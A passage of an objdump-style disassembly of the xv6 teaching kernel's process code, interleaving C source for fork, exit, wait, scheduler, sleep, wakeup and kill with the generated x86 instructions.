8010469c: 8b 45 e0 mov -0x20(%ebp),%eax
8010469f: 8b 40 18 mov 0x18(%eax),%eax
801046a2: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
801046a9: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
801046b0: eb 3d jmp 801046ef <fork+0x105>
if(proc->ofile[i])
801046b2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046b8: 8b 55 e4 mov -0x1c(%ebp),%edx
801046bb: 83 c2 08 add $0x8,%edx
801046be: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801046c2: 85 c0 test %eax,%eax
801046c4: 74 25 je 801046eb <fork+0x101>
np->ofile[i] = filedup(proc->ofile[i]);
801046c6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046cc: 8b 55 e4 mov -0x1c(%ebp),%edx
801046cf: 83 c2 08 add $0x8,%edx
801046d2: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801046d6: 89 04 24 mov %eax,(%esp)
801046d9: e8 a8 c8 ff ff call 80100f86 <filedup>
801046de: 8b 55 e0 mov -0x20(%ebp),%edx
801046e1: 8b 4d e4 mov -0x1c(%ebp),%ecx
801046e4: 83 c1 08 add $0x8,%ecx
801046e7: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
801046eb: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
801046ef: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
801046f3: 7e bd jle 801046b2 <fork+0xc8>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
801046f5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046fb: 8b 40 68 mov 0x68(%eax),%eax
801046fe: 89 04 24 mov %eax,(%esp)
80104701: e8 23 d1 ff ff call 80101829 <idup>
80104706: 8b 55 e0 mov -0x20(%ebp),%edx
80104709: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
8010470c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104712: 8d 50 6c lea 0x6c(%eax),%edx
80104715: 8b 45 e0 mov -0x20(%ebp),%eax
80104718: 83 c0 6c add $0x6c,%eax
8010471b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104722: 00
80104723: 89 54 24 04 mov %edx,0x4(%esp)
80104727: 89 04 24 mov %eax,(%esp)
8010472a: e8 56 0b 00 00 call 80105285 <safestrcpy>
pid = np->pid;
8010472f: 8b 45 e0 mov -0x20(%ebp),%eax
80104732: 8b 40 10 mov 0x10(%eax),%eax
80104735: 89 45 dc mov %eax,-0x24(%ebp)
// lock to force the compiler to emit the np->state write last.
acquire(&ptable.lock);
80104738: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
8010473f: e8 cd 06 00 00 call 80104e11 <acquire>
np->state = RUNNABLE;
80104744: 8b 45 e0 mov -0x20(%ebp),%eax
80104747: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
8010474e: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104755: e8 19 07 00 00 call 80104e73 <release>
return pid;
8010475a: 8b 45 dc mov -0x24(%ebp),%eax
}
8010475d: 83 c4 2c add $0x2c,%esp
80104760: 5b pop %ebx
80104761: 5e pop %esi
80104762: 5f pop %edi
80104763: 5d pop %ebp
80104764: c3 ret
80104765 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80104765: 55 push %ebp
80104766: 89 e5 mov %esp,%ebp
80104768: 83 ec 28 sub $0x28,%esp
struct proc *p;
int fd;
if(proc == initproc)
8010476b: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104772: a1 48 b6 10 80 mov 0x8010b648,%eax
80104777: 39 c2 cmp %eax,%edx
80104779: 75 0c jne 80104787 <exit+0x22>
panic("init exiting");
8010477b: c7 04 24 a4 89 10 80 movl $0x801089a4,(%esp)
80104782: e8 b3 bd ff ff call 8010053a <panic>
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104787: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
8010478e: eb 44 jmp 801047d4 <exit+0x6f>
if(proc->ofile[fd]){
80104790: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104796: 8b 55 f0 mov -0x10(%ebp),%edx
80104799: 83 c2 08 add $0x8,%edx
8010479c: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801047a0: 85 c0 test %eax,%eax
801047a2: 74 2c je 801047d0 <exit+0x6b>
fileclose(proc->ofile[fd]);
801047a4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047aa: 8b 55 f0 mov -0x10(%ebp),%edx
801047ad: 83 c2 08 add $0x8,%edx
801047b0: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801047b4: 89 04 24 mov %eax,(%esp)
801047b7: e8 12 c8 ff ff call 80100fce <fileclose>
proc->ofile[fd] = 0;
801047bc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047c2: 8b 55 f0 mov -0x10(%ebp),%edx
801047c5: 83 c2 08 add $0x8,%edx
801047c8: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
801047cf: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
801047d0: 83 45 f0 01 addl $0x1,-0x10(%ebp)
801047d4: 83 7d f0 0f cmpl $0xf,-0x10(%ebp)
801047d8: 7e b6 jle 80104790 <exit+0x2b>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
801047da: e8 31 ec ff ff call 80103410 <begin_op>
iput(proc->cwd);
801047df: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047e5: 8b 40 68 mov 0x68(%eax),%eax
801047e8: 89 04 24 mov %eax,(%esp)
801047eb: e8 1e d2 ff ff call 80101a0e <iput>
end_op();
801047f0: e8 9f ec ff ff call 80103494 <end_op>
proc->cwd = 0;
801047f5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047fb: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80104802: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104809: e8 03 06 00 00 call 80104e11 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
8010480e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104814: 8b 40 14 mov 0x14(%eax),%eax
80104817: 89 04 24 mov %eax,(%esp)
8010481a: e8 c3 03 00 00 call 80104be2 <wakeup1>
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010481f: c7 45 f4 14 2a 11 80 movl $0x80112a14,-0xc(%ebp)
80104826: eb 38 jmp 80104860 <exit+0xfb>
if(p->parent == proc){
80104828: 8b 45 f4 mov -0xc(%ebp),%eax
8010482b: 8b 50 14 mov 0x14(%eax),%edx
8010482e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104834: 39 c2 cmp %eax,%edx
80104836: 75 24 jne 8010485c <exit+0xf7>
p->parent = initproc;
80104838: 8b 15 48 b6 10 80 mov 0x8010b648,%edx
8010483e: 8b 45 f4 mov -0xc(%ebp),%eax
80104841: 89 50 14 mov %edx,0x14(%eax)
if(p->state == ZOMBIE)
80104844: 8b 45 f4 mov -0xc(%ebp),%eax
80104847: 8b 40 0c mov 0xc(%eax),%eax
8010484a: 83 f8 05 cmp $0x5,%eax
8010484d: 75 0d jne 8010485c <exit+0xf7>
wakeup1(initproc);
8010484f: a1 48 b6 10 80 mov 0x8010b648,%eax
80104854: 89 04 24 mov %eax,(%esp)
80104857: e8 86 03 00 00 call 80104be2 <wakeup1>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010485c: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104860: 81 7d f4 14 49 11 80 cmpl $0x80114914,-0xc(%ebp)
80104867: 72 bf jb 80104828 <exit+0xc3>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80104869: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010486f: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax)
sched();
80104876: e8 bc 01 00 00 call 80104a37 <sched>
panic("zombie exit");
8010487b: c7 04 24 b1 89 10 80 movl $0x801089b1,(%esp)
80104882: e8 b3 bc ff ff call 8010053a <panic>
80104887 <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80104887: 55 push %ebp
80104888: 89 e5 mov %esp,%ebp
8010488a: 83 ec 28 sub $0x28,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
8010488d: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104894: e8 78 05 00 00 call 80104e11 <acquire>
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
80104899: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801048a0: c7 45 f4 14 2a 11 80 movl $0x80112a14,-0xc(%ebp)
801048a7: e9 9a 00 00 00 jmp 80104946 <wait+0xbf>
if(p->parent != proc)
801048ac: 8b 45 f4 mov -0xc(%ebp),%eax
801048af: 8b 50 14 mov 0x14(%eax),%edx
801048b2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801048b8: 39 c2 cmp %eax,%edx
801048ba: 74 05 je 801048c1 <wait+0x3a>
continue;
801048bc: e9 81 00 00 00 jmp 80104942 <wait+0xbb>
havekids = 1;
801048c1: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
if(p->state == ZOMBIE){
801048c8: 8b 45 f4 mov -0xc(%ebp),%eax
801048cb: 8b 40 0c mov 0xc(%eax),%eax
801048ce: 83 f8 05 cmp $0x5,%eax
801048d1: 75 6f jne 80104942 <wait+0xbb>
// Found one.
pid = p->pid;
801048d3: 8b 45 f4 mov -0xc(%ebp),%eax
801048d6: 8b 40 10 mov 0x10(%eax),%eax
801048d9: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
801048dc: 8b 45 f4 mov -0xc(%ebp),%eax
801048df: 8b 40 08 mov 0x8(%eax),%eax
801048e2: 89 04 24 mov %eax,(%esp)
801048e5: e8 5f e1 ff ff call 80102a49 <kfree>
p->kstack = 0;
801048ea: 8b 45 f4 mov -0xc(%ebp),%eax
801048ed: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
freevm(p->pgdir);
801048f4: 8b 45 f4 mov -0xc(%ebp),%eax
801048f7: 8b 40 04 mov 0x4(%eax),%eax
801048fa: 89 04 24 mov %eax,(%esp)
801048fd: e8 2e 38 00 00 call 80108130 <freevm>
p->state = UNUSED;
80104902: 8b 45 f4 mov -0xc(%ebp),%eax
80104905: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
p->pid = 0;
8010490c: 8b 45 f4 mov -0xc(%ebp),%eax
8010490f: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->parent = 0;
80104916: 8b 45 f4 mov -0xc(%ebp),%eax
80104919: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->name[0] = 0;
80104920: 8b 45 f4 mov -0xc(%ebp),%eax
80104923: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
80104927: 8b 45 f4 mov -0xc(%ebp),%eax
8010492a: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
release(&ptable.lock);
80104931: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104938: e8 36 05 00 00 call 80104e73 <release>
return pid;
8010493d: 8b 45 ec mov -0x14(%ebp),%eax
80104940: eb 52 jmp 80104994 <wait+0x10d>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104942: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104946: 81 7d f4 14 49 11 80 cmpl $0x80114914,-0xc(%ebp)
8010494d: 0f 82 59 ff ff ff jb 801048ac <wait+0x25>
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
80104953: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80104957: 74 0d je 80104966 <wait+0xdf>
80104959: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010495f: 8b 40 24 mov 0x24(%eax),%eax
80104962: 85 c0 test %eax,%eax
80104964: 74 13 je 80104979 <wait+0xf2>
release(&ptable.lock);
80104966: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
8010496d: e8 01 05 00 00 call 80104e73 <release>
return -1;
80104972: b8 ff ff ff ff mov $0xffffffff,%eax
80104977: eb 1b jmp 80104994 <wait+0x10d>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80104979: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010497f: c7 44 24 04 e0 29 11 movl $0x801129e0,0x4(%esp)
80104986: 80
80104987: 89 04 24 mov %eax,(%esp)
8010498a: e8 b8 01 00 00 call 80104b47 <sleep>
}
8010498f: e9 05 ff ff ff jmp 80104899 <wait+0x12>
}
80104994: c9 leave
80104995: c3 ret
80104996 <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
80104996: 55 push %ebp
80104997: 89 e5 mov %esp,%ebp
80104999: 83 ec 28 sub $0x28,%esp
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
8010499c: e8 63 f9 ff ff call 80104304 <sti>
// Loop over process table looking for process to run.
acquire(&ptable.lock);
801049a1: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
801049a8: e8 64 04 00 00 call 80104e11 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801049ad: c7 45 f4 14 2a 11 80 movl $0x80112a14,-0xc(%ebp)
801049b4: eb 67 jmp 80104a1d <scheduler+0x87>
if(p->state != RUNNABLE)
801049b6: 8b 45 f4 mov -0xc(%ebp),%eax
801049b9: 8b 40 0c mov 0xc(%eax),%eax
801049bc: 83 f8 03 cmp $0x3,%eax
801049bf: 74 02 je 801049c3 <scheduler+0x2d>
continue;
801049c1: eb 56 jmp 80104a19 <scheduler+0x83>
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
proc = p;
801049c3: 8b 45 f4 mov -0xc(%ebp),%eax
801049c6: 65 a3 04 00 00 00 mov %eax,%gs:0x4
switchuvm(p);
801049cc: 8b 45 f4 mov -0xc(%ebp),%eax
801049cf: 89 04 24 mov %eax,(%esp)
801049d2: e8 f7 32 00 00 call 80107cce <switchuvm>
p->state = RUNNING;
801049d7: 8b 45 f4 mov -0xc(%ebp),%eax
801049da: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax)
swtch(&cpu->scheduler, proc->context);
801049e1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801049e7: 8b 40 1c mov 0x1c(%eax),%eax
801049ea: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801049f1: 83 c2 08 add $0x8,%edx
801049f4: 89 44 24 04 mov %eax,0x4(%esp)
801049f8: 89 14 24 mov %edx,(%esp)
801049fb: e8 f6 08 00 00 call 801052f6 <swtch>
switchkvm(cpu);
80104a00: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104a06: 89 04 24 mov %eax,(%esp)
80104a09: e8 9d 32 00 00 call 80107cab <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80104a0e: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80104a15: 00 00 00 00
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104a19: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104a1d: 81 7d f4 14 49 11 80 cmpl $0x80114914,-0xc(%ebp)
80104a24: 72 90 jb 801049b6 <scheduler+0x20>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80104a26: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104a2d: e8 41 04 00 00 call 80104e73 <release>
}
80104a32: e9 65 ff ff ff jmp 8010499c <scheduler+0x6>
80104a37 <sched>:
// Enter scheduler. Must hold only ptable.lock
// and have changed proc->state.
void
sched(void)
{
80104a37: 55 push %ebp
80104a38: 89 e5 mov %esp,%ebp
80104a3a: 83 ec 28 sub $0x28,%esp
int intena;
if(!holding(&ptable.lock))
80104a3d: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104a44: e8 f2 04 00 00 call 80104f3b <holding>
80104a49: 85 c0 test %eax,%eax
80104a4b: 75 0c jne 80104a59 <sched+0x22>
panic("sched ptable.lock");
80104a4d: c7 04 24 bd 89 10 80 movl $0x801089bd,(%esp)
80104a54: e8 e1 ba ff ff call 8010053a <panic>
if(cpu->ncli != 1)
80104a59: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104a5f: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80104a65: 83 f8 01 cmp $0x1,%eax
80104a68: 74 0c je 80104a76 <sched+0x3f>
panic("sched locks");
80104a6a: c7 04 24 cf 89 10 80 movl $0x801089cf,(%esp)
80104a71: e8 c4 ba ff ff call 8010053a <panic>
if(proc->state == RUNNING)
80104a76: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a7c: 8b 40 0c mov 0xc(%eax),%eax
80104a7f: 83 f8 04 cmp $0x4,%eax
80104a82: 75 0c jne 80104a90 <sched+0x59>
panic("sched running");
80104a84: c7 04 24 db 89 10 80 movl $0x801089db,(%esp)
80104a8b: e8 aa ba ff ff call 8010053a <panic>
if(readeflags()&FL_IF)
80104a90: e8 5f f8 ff ff call 801042f4 <readeflags>
80104a95: 25 00 02 00 00 and $0x200,%eax
80104a9a: 85 c0 test %eax,%eax
80104a9c: 74 0c je 80104aaa <sched+0x73>
panic("sched interruptible");
80104a9e: c7 04 24 e9 89 10 80 movl $0x801089e9,(%esp)
80104aa5: e8 90 ba ff ff call 8010053a <panic>
intena = cpu->intena;
80104aaa: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ab0: 8b 80 b4 00 00 00 mov 0xb4(%eax),%eax
80104ab6: 89 45 f4 mov %eax,-0xc(%ebp)
swtch(&proc->context, cpu->scheduler);
80104ab9: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104abf: 8b 40 08 mov 0x8(%eax),%eax
80104ac2: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104ac9: 83 c2 1c add $0x1c,%edx
80104acc: 89 44 24 04 mov %eax,0x4(%esp)
80104ad0: 89 14 24 mov %edx,(%esp)
80104ad3: e8 1e 08 00 00 call 801052f6 <swtch>
cpu->intena = intena;
80104ad8: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ade: 8b 55 f4 mov -0xc(%ebp),%edx
80104ae1: 89 90 b4 00 00 00 mov %edx,0xb4(%eax)
}
80104ae7: c9 leave
80104ae8: c3 ret
80104ae9 <yield>:
// Give up the CPU for one scheduling round.
void
yield(void)
{
80104ae9: 55 push %ebp
80104aea: 89 e5 mov %esp,%ebp
80104aec: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80104aef: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104af6: e8 16 03 00 00 call 80104e11 <acquire>
proc->state = RUNNABLE;
80104afb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b01: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80104b08: e8 2a ff ff ff call 80104a37 <sched>
release(&ptable.lock);
80104b0d: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104b14: e8 5a 03 00 00 call 80104e73 <release>
}
80104b19: c9 leave
80104b1a: c3 ret
80104b1b <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80104b1b: 55 push %ebp
80104b1c: 89 e5 mov %esp,%ebp
80104b1e: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80104b21: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104b28: e8 46 03 00 00 call 80104e73 <release>
if (first) {
80104b2d: a1 08 b0 10 80 mov 0x8010b008,%eax
80104b32: 85 c0 test %eax,%eax
80104b34: 74 0f je 80104b45 <forkret+0x2a>
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80104b36: c7 05 08 b0 10 80 00 movl $0x0,0x8010b008
80104b3d: 00 00 00
initlog();
80104b40: e8 bd e6 ff ff call 80103202 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80104b45: c9 leave
80104b46: c3 ret
80104b47 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80104b47: 55 push %ebp
80104b48: 89 e5 mov %esp,%ebp
80104b4a: 83 ec 18 sub $0x18,%esp
if(proc == 0)
80104b4d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b53: 85 c0 test %eax,%eax
80104b55: 75 0c jne 80104b63 <sleep+0x1c>
panic("sleep");
80104b57: c7 04 24 fd 89 10 80 movl $0x801089fd,(%esp)
80104b5e: e8 d7 b9 ff ff call 8010053a <panic>
if(lk == 0)
80104b63: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80104b67: 75 0c jne 80104b75 <sleep+0x2e>
panic("sleep without lk");
80104b69: c7 04 24 03 8a 10 80 movl $0x80108a03,(%esp)
80104b70: e8 c5 b9 ff ff call 8010053a <panic>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80104b75: 81 7d 0c e0 29 11 80 cmpl $0x801129e0,0xc(%ebp)
80104b7c: 74 17 je 80104b95 <sleep+0x4e>
acquire(&ptable.lock); //DOC: sleeplock1
80104b7e: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104b85: e8 87 02 00 00 call 80104e11 <acquire>
release(lk);
80104b8a: 8b 45 0c mov 0xc(%ebp),%eax
80104b8d: 89 04 24 mov %eax,(%esp)
80104b90: e8 de 02 00 00 call 80104e73 <release>
}
// Go to sleep.
proc->chan = chan;
80104b95: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b9b: 8b 55 08 mov 0x8(%ebp),%edx
80104b9e: 89 50 20 mov %edx,0x20(%eax)
proc->state = SLEEPING;
80104ba1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ba7: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80104bae: e8 84 fe ff ff call 80104a37 <sched>
// Tidy up.
proc->chan = 0;
80104bb3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bb9: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
80104bc0: 81 7d 0c e0 29 11 80 cmpl $0x801129e0,0xc(%ebp)
80104bc7: 74 17 je 80104be0 <sleep+0x99>
release(&ptable.lock);
80104bc9: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104bd0: e8 9e 02 00 00 call 80104e73 <release>
acquire(lk);
80104bd5: 8b 45 0c mov 0xc(%ebp),%eax
80104bd8: 89 04 24 mov %eax,(%esp)
80104bdb: e8 31 02 00 00 call 80104e11 <acquire>
}
}
80104be0: c9 leave
80104be1: c3 ret
80104be2 <wakeup1>:
//PAGEBREAK!
// Wake up all processes sleeping on chan.
// The ptable lock must be held.
static void
wakeup1(void *chan)
{
80104be2: 55 push %ebp
80104be3: 89 e5 mov %esp,%ebp
80104be5: 83 ec 10 sub $0x10,%esp
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104be8: c7 45 fc 14 2a 11 80 movl $0x80112a14,-0x4(%ebp)
80104bef: eb 24 jmp 80104c15 <wakeup1+0x33>
if(p->state == SLEEPING && p->chan == chan)
80104bf1: 8b 45 fc mov -0x4(%ebp),%eax
80104bf4: 8b 40 0c mov 0xc(%eax),%eax
80104bf7: 83 f8 02 cmp $0x2,%eax
80104bfa: 75 15 jne 80104c11 <wakeup1+0x2f>
80104bfc: 8b 45 fc mov -0x4(%ebp),%eax
80104bff: 8b 40 20 mov 0x20(%eax),%eax
80104c02: 3b 45 08 cmp 0x8(%ebp),%eax
80104c05: 75 0a jne 80104c11 <wakeup1+0x2f>
p->state = RUNNABLE;
80104c07: 8b 45 fc mov -0x4(%ebp),%eax
80104c0a: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104c11: 83 45 fc 7c addl $0x7c,-0x4(%ebp)
80104c15: 81 7d fc 14 49 11 80 cmpl $0x80114914,-0x4(%ebp)
80104c1c: 72 d3 jb 80104bf1 <wakeup1+0xf>
if(p->state == SLEEPING && p->chan == chan)
p->state = RUNNABLE;
}
80104c1e: c9 leave
80104c1f: c3 ret
80104c20 <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80104c20: 55 push %ebp
80104c21: 89 e5 mov %esp,%ebp
80104c23: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock);
80104c26: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104c2d: e8 df 01 00 00 call 80104e11 <acquire>
wakeup1(chan);
80104c32: 8b 45 08 mov 0x8(%ebp),%eax
80104c35: 89 04 24 mov %eax,(%esp)
80104c38: e8 a5 ff ff ff call 80104be2 <wakeup1>
release(&ptable.lock);
80104c3d: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104c44: e8 2a 02 00 00 call 80104e73 <release>
}
80104c49: c9 leave
80104c4a: c3 ret
80104c4b <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80104c4b: 55 push %ebp
80104c4c: 89 e5 mov %esp,%ebp
80104c4e: 83 ec 28 sub $0x28,%esp
struct proc *p;
acquire(&ptable.lock);
80104c51: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104c58: e8 b4 01 00 00 call 80104e11 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104c5d: c7 45 f4 14 2a 11 80 movl $0x80112a14,-0xc(%ebp)
80104c64: eb 41 jmp 80104ca7 <kill+0x5c>
if(p->pid == pid){
80104c66: 8b 45 f4 mov -0xc(%ebp),%eax
80104c69: 8b 40 10 mov 0x10(%eax),%eax
80104c6c: 3b 45 08 cmp 0x8(%ebp),%eax
80104c6f: 75 32 jne 80104ca3 <kill+0x58>
p->killed = 1;
80104c71: 8b 45 f4 mov -0xc(%ebp),%eax
80104c74: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80104c7b: 8b 45 f4 mov -0xc(%ebp),%eax
80104c7e: 8b 40 0c mov 0xc(%eax),%eax
80104c81: 83 f8 02 cmp $0x2,%eax
80104c84: 75 0a jne 80104c90 <kill+0x45>
p->state = RUNNABLE;
80104c86: 8b 45 f4 mov -0xc(%ebp),%eax
80104c89: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104c90: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104c97: e8 d7 01 00 00 call 80104e73 <release>
return 0;
80104c9c: b8 00 00 00 00 mov $0x0,%eax
80104ca1: eb 1e jmp 80104cc1 <kill+0x76>
kill(int pid)
{
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104ca3: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104ca7: 81 7d f4 14 49 11 80 cmpl $0x80114914,-0xc(%ebp)
80104cae: 72 b6 jb 80104c66 <kill+0x1b>
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80104cb0: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104cb7: e8 b7 01 00 00 call 80104e73 <release>
return -1;
80104cbc: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104cc1: c9 leave
80104cc2: c3 ret
80104cc3 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80104cc3: 55 push %ebp
80104cc4: 89 e5 mov %esp,%ebp
80104cc6: 83 ec 58 sub $0x58,%esp
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104cc9: c7 45 f0 14 2a 11 80 movl $0x80112a14,-0x10(%ebp)
80104cd0: e9 d6 00 00 00 jmp 80104dab <procdump+0xe8>
if(p->state == UNUSED)
80104cd5: 8b 45 f0 mov -0x10(%ebp),%eax
80104cd8: 8b 40 0c mov 0xc(%eax),%eax
80104cdb: 85 c0 test %eax,%eax
80104cdd: 75 05 jne 80104ce4 <procdump+0x21>
continue;
80104cdf: e9 c3 00 00 00 jmp 80104da7 <procdump+0xe4>
